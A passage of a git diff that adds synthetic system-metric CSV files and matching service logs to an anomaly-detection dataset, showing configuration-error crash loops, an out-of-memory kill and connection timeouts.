14:07:05 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. +Jul 02 14:07:10 systemd[1]: Started web-app.service. +Jul 02 14:07:10 web-app[2150]: INFO Starting application v2.3.1... +Jul 02 14:07:15 web-app[2150]: ERROR ConfigParseError: missing required option 'port' in section 'server' +Jul 02 14:07:15 web-app[2150]: FATAL Invalid configuration. Shutting down. +Jul 02 14:07:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 02 14:07:25 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 02 14:07:25 systemd[1]: web-app.service: Service RestartSec=5s expired, scheduling restart. diff --git a/anom_dataset/scenario_14/anom_14_28.csv b/anom_dataset/scenario_14/anom_14_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..08c2d1db40cd6ce0103f7b18c899c5aefad597b4 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-14T10:00:00Z,17.686161993232744,44.450213801142446,23.242236591655438,1.2690868097168997,0.9800953865090052 +2025-07-14T10:00:05Z,17.887393482023008,43.61381375444226,27.772428978258638,1.0572367325974954,1.1857581561301052 +2025-07-14T10:00:10Z,15.843501622273724,37.66849080216794,27.93304790877025,1.0952720172845445,1.0992930776916288 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0000000000000000000000000000000000000000..5726611dc8f7bbd536236c0c297a7d5504aae28e --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_28.log @@ -0,0 +1,76 @@ +Jul 14 10:00:00 web-app[2320]: GET /api/v1/user/15 status=200 OK +Jul 14 10:00:32 web-app[2320]: GET /api/v1/user/10 status=200 OK +Jul 14 10:01:03 web-app[2320]: GET /api/v1/user/18 status=200 OK +Jul 14 10:01:42 web-app[2320]: GET /api/v1/user/17 status=200 OK +Jul 14 10:01:44 CRON[6661]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 14 10:02:24 web-app[2320]: GET /api/v1/user/14 status=200 OK +Jul 14 10:02:31 systemd[1]: Started Web Application Service. +Jul 14 10:02:31 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:02:31 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:02:35 web-app[2320]: ERROR: Invalid or missing configuration value for 'database.url'. Service shutting down. +Jul 14 10:02:41 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:02:48 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:02:53 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:03:01 systemd[1]: Started Web Application Service. +Jul 14 10:03:01 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:03:01 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:03:05 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:03:11 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:03:17 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:03:21 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:03:33 systemd[1]: Started Web Application Service. +Jul 14 10:03:33 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:03:33 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:03:36 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:03:41 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:03:46 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:03:52 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:04:02 systemd[1]: Started Web Application Service. +Jul 14 10:04:03 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:04:03 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:04:07 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:04:11 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:04:18 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:04:22 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:04:33 systemd[1]: Started Web Application Service. +Jul 14 10:04:33 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:04:33 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:04:35 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:04:42 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:04:48 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:04:51 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:05:03 systemd[1]: Started Web Application Service. +Jul 14 10:05:03 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:05:03 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:05:06 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:05:12 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:05:16 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:05:23 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:05:31 systemd[1]: Started Web Application Service. +Jul 14 10:05:31 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:05:31 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:05:37 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:05:43 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:05:47 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:05:51 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:06:03 systemd[1]: Started Web Application Service. +Jul 14 10:06:03 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:06:03 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:06:05 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:06:12 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:06:16 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:06:21 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:06:33 systemd[1]: Started Web Application Service. +Jul 14 10:06:33 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:06:33 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:06:35 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:06:42 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:06:48 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:06:52 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. +Jul 14 10:07:01 systemd[1]: Started Web Application Service. +Jul 14 10:07:01 web-app[2320]: INFO: Starting web-app server version 2.1.3... +Jul 14 10:07:01 web-app[2320]: INFO: Loading configuration from /etc/web-app/config.yaml +Jul 14 10:07:07 web-app[2320]: CRITICAL: Failed to initialize database connection pool. Exiting. +Jul 14 10:07:13 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 14 10:07:16 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 14 10:07:21 systemd[1]: web-app.service: Scheduled restart job, restart counter is at 5. diff --git a/anom_dataset/scenario_14/anom_14_3.csv b/anom_dataset/scenario_14/anom_14_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..898a79bd33ee56a019001662af28d75c301adfbe --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:01:00Z,15.29123264804412,41.58206389408609,26.252464251729382,0.6952429877980445,1.6773730719279554 +2025-07-02T11:01:05Z,17.90593497159867,38.18122509041052,26.732241047484877,1.2224521152615053,1.5407686177542046 +2025-07-02T11:01:10Z,12.893840718367944,42.8055886218722,21.599876392107547,0.7807723624408558,1.497015740995268 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0000000000000000000000000000000000000000..ea6554d6d36b85f24da17655421d819d516fd7f9 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_3.log @@ -0,0 +1,10 @@ +Jul 02 11:01:10 kernel: audit: type=1400 apparmor="STATUS" operation="profile_load" +Jul 02 11:02:05 nginx[3112]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:03:25 deployment-ctrl[1234]: INFO Applying new configmap 'api-gateway-cfg-v3.1' to deployment. +Jul 02 11:03:30 kubelet[2345]: INFO Restarting container 'api-gateway' to apply settings. +Jul 02 11:03:40 api-gateway[11223]: INFO Application started successfully. Environment: production. +Jul 02 11:03:45 api-gateway[11223]: INFO Connected to database 'prod-db'. Connected to cache 'redis-prod'. +Jul 02 11:03:55 api-gateway[11223]: ERROR Timeout connecting to payment-gateway.stg.svc.cluster.local on port 443. +Jul 02 11:04:10 api-gateway[11223]: ERROR Timeout connecting to payment-gateway.stg.svc.cluster.local on port 443. +Jul 02 11:04:25 api-gateway[11223]: WARN Circuit breaker opened for service 'payment-gateway'. +Jul 02 11:05:10 api-gateway[11223]: ERROR Timeout connecting to payment-gateway.stg.svc.cluster.local on port 443. diff --git a/anom_dataset/scenario_14/anom_14_4.csv b/anom_dataset/scenario_14/anom_14_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..18421d99fa1d146d296821208190695dae7f4450 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:02:00Z,11.593439771606757,41.870597037625316,20.626981372964075,0.8278517172869584,1.0730971775459222 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+2025-07-02T11:09:25Z,4.228291439373597,13.916871359030601,4.036687510086779,0.03487801187286094,0.018083397177994676 diff --git a/anom_dataset/scenario_14/anom_14_4.log b/anom_dataset/scenario_14/anom_14_4.log new file mode 100644 index 0000000000000000000000000000000000000000..2a2610b4e300acf6ce3a597249adf25287565944 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_4.log @@ -0,0 +1,10 @@ +Jul 02 11:02:10 kernel: audit: type=1400 apparmor="STATUS" operation="profile_load" +Jul 02 11:03:05 nginx[3112]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:04:30 kubelet[2345]: INFO Restarting container 'reporting-svc' to apply new feature flags. +Jul 02 11:04:40 reporting-svc[12345]: INFO Feature 'alpha-reporting-engine' is enabled by config. +Jul 02 11:04:55 reporting-svc[12345]: INFO Generating report for user 'test@example.com'. +Jul 02 11:05:20 reporting-svc[12345]: WARN Memory usage high, potential leak detected in 'alpha-reporting-engine'. +Jul 02 11:05:45 kernel: oom-killer: Killing process 12345 (reporting-svc) score 988 or sacrifice child +Jul 02 11:05:46 kernel: Killed process 12345 (reporting-svc) total-vm:3145728kB, anon-rss:2048000kB, file-rss:0kB, shmem-rss:0kB +Jul 02 11:05:48 kubelet[2345]: WARN Container 'reporting-svc' was OOMKilled. Restarting. +Jul 02 11:06:00 reporting-svc[12399]: INFO Feature 'alpha-reporting-engine' is enabled by config. diff --git a/anom_dataset/scenario_14/anom_14_5.csv b/anom_dataset/scenario_14/anom_14_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..8d14734be6fd841e04dde3c1e843d90d88a1401d --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.95,36.33,22.58,0.52,1.11 +2025-08-22T10:00:05Z,15.49,35.62,32.45,0.99,1.88 +2025-08-22T10:00:10Z,13.61,41.95,33.95,1.37,1.31 +2025-08-22T10:00:15Z,15.48,35.34,20.99,0.63,0.94 +2025-08-22T10:00:20Z,12.46,38.07,24.08,0.97,0.91 +2025-08-22T10:00:25Z,15.09,37.43,23.46,0.66,1.58 +2025-08-22T10:00:30Z,16.28,39.7,32.42,0.7,1.0 +2025-08-22T10:00:35Z,16.34,35.85,17.27,1.23,0.97 +2025-08-22T10:00:40Z,15.18,36.36,34.83,1.04,1.67 +2025-08-22T10:00:45Z,14.49,41.63,27.47,0.69,0.97 +2025-08-22T10:00:50Z,12.61,43.31,20.31,0.93,1.82 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+2025-08-22T10:06:25Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:06:30Z,90.46,82.79,67.98,0.21,0.23 +2025-08-22T10:06:35Z,94.2,79.15,63.01,0.19,0.28 +2025-08-22T10:06:40Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:06:45Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:06:50Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:06:55Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:07:15Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:07:20Z,0.0,0.0,0.0,0.0,0.0 +2025-08-22T10:07:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_14/anom_14_5.log b/anom_dataset/scenario_14/anom_14_5.log new file mode 100644 index 0000000000000000000000000000000000000000..a0cd3fcada813802e728ba6f78c0b94ed7497292 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_5.log @@ -0,0 +1,32 @@ +Aug 22 10:00:05 app-server[1123]: INFO: Server started successfully on port 8080 +Aug 22 10:00:25 app-server[1123]: INFO: GET /healthz HTTP/1.1 200 OK +Aug 22 10:00:50 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:30 app-server[1123]: INFO: User 'admin' logged in successfully +Aug 22 10:02:05 systemd[1]: Started Daily apt upgrade and clean activities. +Aug 22 10:02:25 config-manager[5512]: INFO: New configuration deployed. Triggering application reload. +Aug 22 10:02:30 app-server[1123]: INFO: Received signal to reload configuration. +Aug 22 10:02:35 app-server[6789]: INFO: Attempting to start application with new configuration... +Aug 22 10:02:40 app-server[6789]: ERROR: Invalid configuration: key 'database.pool.size' has invalid value '0'. Must be a positive integer. +Aug 22 10:02:45 app-server[6789]: FATAL: Application failed to start due to configuration error. +Aug 22 10:02:55 kubelet[2345]: INFO: Back-off restarting failed container 'app-server' in pod 'app-pod-xyz123' +Aug 22 10:03:30 app-server[1123]: INFO: Received signal to reload configuration. +Aug 22 10:03:35 app-server[6789]: INFO: Attempting to start application with new configuration... +Aug 22 10:03:40 app-server[6789]: ERROR: Invalid configuration: key 'database.pool.size' has invalid value '0'. Must be a positive integer. +Aug 22 10:03:45 app-server[6789]: FATAL: Application failed to start due to configuration error. +Aug 22 10:03:55 kubelet[2345]: INFO: Back-off restarting failed container 'app-server' in pod 'app-pod-xyz123' +Aug 22 10:04:10 sshd[7123]: Accepted publickey for user 'devops' from 10.0.1.5 port 49152 +Aug 22 10:04:30 app-server[1123]: INFO: Received signal to reload configuration. +Aug 22 10:04:35 app-server[6789]: INFO: Attempting to start application with new configuration... +Aug 22 10:04:40 app-server[6789]: ERROR: Invalid configuration: key 'database.pool.size' has invalid value '0'. Must be a positive integer. +Aug 22 10:04:45 app-server[6789]: FATAL: Application failed to start due to configuration error. +Aug 22 10:04:55 kubelet[2345]: INFO: Back-off restarting failed container 'app-server' in pod 'app-pod-xyz123' +Aug 22 10:05:30 app-server[1123]: INFO: Received signal to reload configuration. +Aug 22 10:05:35 app-server[6789]: INFO: Attempting to start application with new configuration... +Aug 22 10:05:40 app-server[6789]: ERROR: Invalid configuration: key 'database.pool.size' has invalid value '0'. Must be a positive integer. +Aug 22 10:05:45 app-server[6789]: FATAL: Application failed to start due to configuration error. +Aug 22 10:05:55 kubelet[2345]: INFO: Back-off restarting failed container 'app-server' in pod 'app-pod-xyz123' +Aug 22 10:06:30 app-server[1123]: INFO: Received signal to reload configuration. +Aug 22 10:06:35 app-server[6789]: INFO: Attempting to start application with new configuration... +Aug 22 10:06:40 app-server[6789]: ERROR: Invalid configuration: key 'database.pool.size' has invalid value '0'. Must be a positive integer. +Aug 22 10:06:45 app-server[6789]: FATAL: Application failed to start due to configuration error. +Aug 22 10:06:55 kubelet[2345]: INFO: Back-off restarting failed container 'app-server' in pod 'app-pod-xyz123' diff --git a/anom_dataset/scenario_14/anom_14_6.csv b/anom_dataset/scenario_14/anom_14_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..f7c82ad059904ad67f5ed73a05c856689b284a3a --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,24.96,43.27,30.42,0.58,1.57 +2025-07-02T10:00:05Z,15.87,40.11,22.50,1.29,1.73 +2025-07-02T10:00:10Z,15.38,41.66,29.94,0.74,1.62 +2025-07-02T10:00:15Z,21.08,39.72,22.21,1.00,1.76 +2025-07-02T10:00:20Z,23.77,38.23,28.39,1.15,1.88 +2025-07-02T10:00:25Z,18.08,39.27,31.77,0.58,0.86 +2025-07-02T10:00:30Z,20.71,41.66,31.25,0.97,1.92 +2025-07-02T10:00:35Z,22.50,37.11,32.68,0.62,1.79 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+2025-07-02T10:07:20Z,1.59,13.34,3.78,0.10,0.04 +2025-07-02T10:07:25Z,3.09,11.29,4.60,0.04,0.01 diff --git a/anom_dataset/scenario_14/anom_14_6.log b/anom_dataset/scenario_14/anom_14_6.log new file mode 100644 index 0000000000000000000000000000000000000000..537bd055b1d8f0770d0197d073004d632aeae8ab --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_6.log @@ -0,0 +1,66 @@ +Jul 02 10:00:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:00 web-app[4123]: INFO GET /api/health HTTP/1.1 200 OK +Jul 02 10:00:00 kubelet[2345]: INFO Liveness probe for pod web-app succeeded. +Jul 02 10:00:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:00:35 web-app[4123]: INFO GET /api/health HTTP/1.1 200 OK +Jul 02 10:00:50 kubelet[2345]: INFO Liveness probe for pod web-app succeeded. +Jul 02 10:01:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:01:10 web-app[4123]: INFO GET /api/health HTTP/1.1 200 OK +Jul 02 10:01:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:01:40 kubelet[2345]: INFO Liveness probe for pod web-app succeeded. +Jul 02 10:01:45 web-app[4123]: INFO GET /api/health HTTP/1.1 200 OK +Jul 02 10:02:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:02:20 web-app[4123]: INFO GET /api/health HTTP/1.1 200 OK +Jul 02 10:02:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:02:30 deployment-controller[1984]: INFO Applying new configuration for deployment 'web-app'. +Jul 02 10:02:30 web-app[4123]: INFO Shutting down application. +Jul 02 10:02:35 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:02:35 web-app[5391]: INFO Application starting up... +Jul 02 10:02:35 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:02:35 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:03:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:03:00 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:03:00 web-app[5391]: INFO Application starting up... +Jul 02 10:03:00 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:03:00 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:03:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:03:30 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:03:30 web-app[5391]: INFO Application starting up... +Jul 02 10:03:30 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:03:30 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:04:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:04:00 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:04:00 web-app[5391]: INFO Application starting up... +Jul 02 10:04:00 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:04:00 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:04:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:04:30 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:04:30 web-app[5391]: INFO Application starting up... +Jul 02 10:04:30 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:04:30 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:05:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:05:00 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:05:00 web-app[5391]: INFO Application starting up... +Jul 02 10:05:00 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:05:00 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:05:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:05:30 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:05:30 web-app[5391]: INFO Application starting up... +Jul 02 10:05:30 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:05:30 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:06:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:06:00 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:06:00 web-app[5391]: INFO Application starting up... +Jul 02 10:06:00 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:06:00 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:06:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:06:30 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:06:30 web-app[5391]: INFO Application starting up... +Jul 02 10:06:30 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:06:30 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:07:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:07:00 kubelet[2345]: INFO Starting new container for pod web-app. +Jul 02 10:07:00 web-app[5391]: INFO Application starting up... +Jul 02 10:07:00 web-app[5391]: ERROR Failed to start application: Invalid configuration. Unknown key 'server.max-threads'. +Jul 02 10:07:00 kubelet[2345]: WARNING Container for pod web-app crashed. Back-off restarting failed container. +Jul 02 10:07:25 systemd[1]: Finished Daily apt download activities. diff --git a/anom_dataset/scenario_14/anom_14_7.csv b/anom_dataset/scenario_14/anom_14_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..d912148d99e019bf21e83ccfb383159cb483b1c3 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T14:00:00Z,24.96,48.27,30.42,0.86,1.51 +2025-08-23T14:00:05Z,15.87,45.11,22.5,1.35,1.62 +2025-08-23T14:00:10Z,15.38,46.66,29.94,0.97,1.55 +2025-08-23T14:00:15Z,21.08,44.72,22.21,1.15,1.64 +2025-08-23T14:00:20Z,23.77,43.23,28.39,1.26,1.72 +2025-08-23T14:00:25Z,18.08,44.27,31.77,0.86,1.04 +2025-08-23T14:00:30Z,20.71,46.66,31.25,1.13,1.75 +2025-08-23T14:00:35Z,22.5,42.11,32.68,0.88,1.66 +2025-08-23T14:00:40Z,23.17,49.48,27.58,0.81,1.15 +2025-08-23T14:00:45Z,21.99,49.73,21.45,1.46,1.02 +2025-08-23T14:00:50Z,22.85,48.5,20.66,1.39,1.25 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0000000000000000000000000000000000000000..70aefb642e803325da1cc9f9b29c19d3e13bdc73 --- /dev/null +++ b/anom_dataset/scenario_14/anom_14_7.log @@ -0,0 +1,66 @@ +Aug 23 14:00:12 kubelet[2150]: INFO Liveness probe for pod web-app-7b8c4f9c7d-abcde succeeded +Aug 23 14:00:45 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Aug 23 14:01:51 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 14:02:27 systemd[1]: Reloading NGINX Plus. +Aug 23 14:02:28 kubelet[2150]: INFO pod/web-app-7b8c4f9c7d-abcde received update event +Aug 23 14:02:28 nginx[3451]: INFO Configuration reloaded successfully. +Aug 23 14:02:31 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:02:37 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:02:41 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:02:47 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:02:48 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:02:56 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:03:02 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:03:06 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:03:12 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:03:13 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:03:21 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:03:27 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:03:31 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:03:37 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:03:38 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:03:46 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:03:52 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:03:56 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:04:02 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:04:03 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:04:11 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:04:17 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:04:21 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:04:27 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:04:28 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:04:36 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:04:42 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:04:46 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:04:52 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:04:53 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:05:01 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:05:07 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:05:11 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:05:17 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:05:18 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:05:26 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:05:32 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:05:36 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:05:42 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:05:43 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:05:51 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:05:57 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:06:01 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:06:07 kubelet[2150]: WARN Container web-app in pod/web-app-7b8c4f9c7d-abcde exited with status 1. +Aug 23 14:06:08 kubelet[2150]: INFO Restarting container web-app in 1s. +Aug 23 14:06:16 web-app[22501]: INFO Starting application v2.1.3... +Aug 23 14:06:22 web-app[22501]: ERROR Invalid configuration: parameter 'database.url' points to a non-existent environment variable 'DB_HOST_NEW'. +Aug 23 14:06:26 web-app[22501]: FATAL Application startup failed due to configuration error. +Aug 23 14:06:32 